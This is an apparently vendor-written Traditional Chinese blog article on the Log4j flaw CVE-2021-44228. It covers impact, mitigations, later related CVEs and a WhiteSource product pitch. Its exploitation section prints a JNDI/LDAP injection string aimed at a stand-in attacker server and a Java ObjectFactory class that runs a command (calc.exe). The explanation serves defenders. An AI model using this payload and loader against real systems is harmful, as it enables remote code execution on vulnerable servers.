資訊中心管理
你也中獎了嗎? K.O. 過去十年來最大漏洞
就在上週五(12/10),Apache 基金會旗下知名的Java 元件 Log4j 被爆出含有嚴重弱點,已知影響所有現有 Log4j2的版本 (至 2.14.1),並就在同日於Github釋出攻擊的相關實作。GSS 資安團隊於12/10 同時發現這個Zero Day 弱點,隨即通報客戶並提供弱點的解決方案。

就在上週五 (12/10),Apache 基金會旗下知名的 Java 元件 Log4j 被爆出含有嚴重弱點,已知影響所有現有Log4j2的版本(至 2.14.1),並就在同日於Github釋出攻擊的相關實作。GSS 資安團隊於 12/10 同時發現這個 Zero Day 弱點,隨即通報客戶並提供弱點的解決方案。

國際弱點組織NVD 於12/11 發布CVE 編號為CVE-2021-44228,並標示其CVSS風險指標為最高分 10  分。Apache 也迅速修復了這個問題並發布 log4j 2.15.0版本,甚至於Github 發佈內文中亦提供可降低此弱點遭利用的設定,於12/13 金融資安資訊分享與分析中心也發布此弱點的通報。

Java 語言長年以來都獲選為工程師以及企業最愛用語言第一名,Apache Log4j 也為Java 應用系統開發日誌套件最愛用之一。根據GSS 資安團隊調查,此弱點影響到95% 以上Java 開發的客戶,藉由此事件,也同時提升了企業對於Open Source 管理的意識。

07 1

 

關於Log4j 你需要知道的事

Apache 的 Log4j 安全性更新在 2.14.1 及以下版本的元件中,JNDI 功能存在於參數配置、日誌訊息和參數中使用 ,原先此功能無法抵禦攻擊者控制的 LDAP 和其他JNDI 相關端點。

這個弱點允許攻擊者透過log 訊息或是訊息參數取得控制權, 來執行從LDAP 伺服器和其他 JNDI 相關端點載入的任意代碼。自從此弱點被發現後,Apache 迅速修復了這個問題並發布 log4j 2.15.0 版本。此問題非常令人擔憂,因為這個開源元件的使用範圍非常廣泛,並支援數百萬個 Java 應用程式記錄 log 訊息。

據知名防毒廠商賽門鐵克指出,隨著網路上已經公開弱點利用的程式碼範例,現已在許多系統偵測到有攻擊者嘗試利用此弱點進行攻擊的行為。

Log4j 弱點如何被利用?

從下圖中可以看到一個示範應用程式嘗試使用 log4j 來記錄用戶的資訊。這個易受攻擊的應用程式通過 JNDI API 連接到攻擊者控制的 LDAP 伺服器。

${jndi:ldap://127.0.0.1:1389/o=reference}然後LDAP 伺服器將會回傳含有惡意檔案或指令內容的程式路徑。Log4j 會再根據此路徑下載執行程式內容。此示範程式的代碼為啟動Windows 系統中內建的計算機應用程式。

public class ExportObject implementsjavax.naming.spi.ObjectFactory {public ExportObject() {Runtime.getRuntime().exec("c:\\windows\\system32\\calc.exe");}}

07 2

 

修復 Log4j 弱點

考慮到開源的特性,元件之間有互相參考、引用的關係,很有可能被我們軟體專案中的許多應用系統,直接、間接引用到此元件。

為此,若想修復此風險,第一步就是確認應用系統是否使用不安全的Log4j 版本(2.14.1 或更低版本)。接著,如果檢測到易受攻擊的版本,請更新到版本2.15.0 以上,以避免漏洞利用。

另外若暫時無法進行升級的辦法, 可新增Java 參數"Dlog4j2.formatMsgNoLookups=true" 改變系統的屬性。若版本在 2.10 到 2.14.1 版本中可以設定"log4j2.formatMsgNoLookups" 為"true";或是移除程式碼 "JndiLookup" 類別。但最佳的修復方式終究仍是,以不使用涵蓋風險的元件為方針,建議升級元件至2.15.0 版本。

使用WhiteSource儘早修復開源元件的安全弱點

這不是第一次或最後一次發生開源元件公開披露和發現弱點。透過在開發早期自動檢測、自動告警和修復問題, 將WhiteSource 整合到您的IDE、Repo 或CI工具,可以為您的開發、DevOps 和安全團隊節省大量時間。

我們的建議是使用 WhiteSource 功能執行下列步驟,以快速解決這個新的嚴重弱點並持續監控你所有開源元件的安全:

1. 首先進行盤點

WhiteSource 提供Unified Agent, 針對200 種以上的語言進行檢測。同時盤點完成後,即可知道那些系統有使用到此套件( 此為目前漏洞發生時,各企業最無法立即得知的事情,需耗費很多人力成本才能確認完畢)。

2. 建立Policy

使用WhiteSource Policy 的功能,先揭露高風險或特定弱點或元件,並通知相關人員。同時也可依版本、CVSS 分數等條件進行通知、自動告警或派送至Jira等功能。

3. 修復建議

WhiteSource 同時彙整數十個弱點資料庫及Open Source 資料庫, 同時WhiteSource 也有研究人員,當弱點一發佈修復方式後,即會更新其資料庫,以利讓開發人員知道怎麼修復。

07 3

  • WhtieSource Prioritize:可精確找到是否程式真的有引用到該弱點元件的功能,以減少誤判的狀況;因不良的開發方式,很有可能將舊版本的元件留存於程式包中並未刪除,而弱點問題常常發生在該元件上。
  • WhiteSource Remediate:結合版本控制軟體(GitHub), 當程式Commit 至版控時立即觸發掃描,提示套件有弱點、新版本更新。並自動生成請求(PullRequest),可選擇自動更新或手動更新,以保持套件為最新、最安全的版本。

使用 WhiteSource 的 AppSec 工具,在問題成為頭條新聞之前快速修復問題。並為組織中的每個人員節省寶貴的時間與工作資源,並能夠繼續自信地使用開源元件,同時獲得客戶的信任。

後記

12/20

Apache 在2.16.0 以前版本又發現一新的DoS 類型弱點,並於12/17 發布弱點編號CVE-2021-45105,CVSS3 7.5( 高), 以及2.17.0(JDK 8) 版本,請各位使用者儘速升級,以確保資訊系統安全。

https://www.whitesourcesoftware.com/resources/blog/log4j-vulnerabilitycve-2021-45105/

Apache 於12/18 將CVE-2021-45046,從CVSS3 3.7( 中) / DoS 類型弱點修改為CVSS3 9.0( 高) / RCE 弱點,並建議升級至2.16.0(JDK 1.8) / 2.12.2(JDK 1.7) 版本修復弱點。

https://www.whitesourcesoftware.com/resources/blog/log4j-vulnerabilitycve-2021-45046/

 

12/16

Apache 於2/15 又新發佈於2.15.0 以前log4j 的lookup 類別發現一個DoS 類型的弱點,發布其弱點編號為CVE-2021-45046, 並標示為中風險等級(CVSS33.7)。也於事件發布的同一天釋出2.16.0版本已修復此弱點,請所有使用者儘速升級至2.16.0 版本,以確保資訊系統安全。

https://logging.apache.org/log4j/2.x/security.html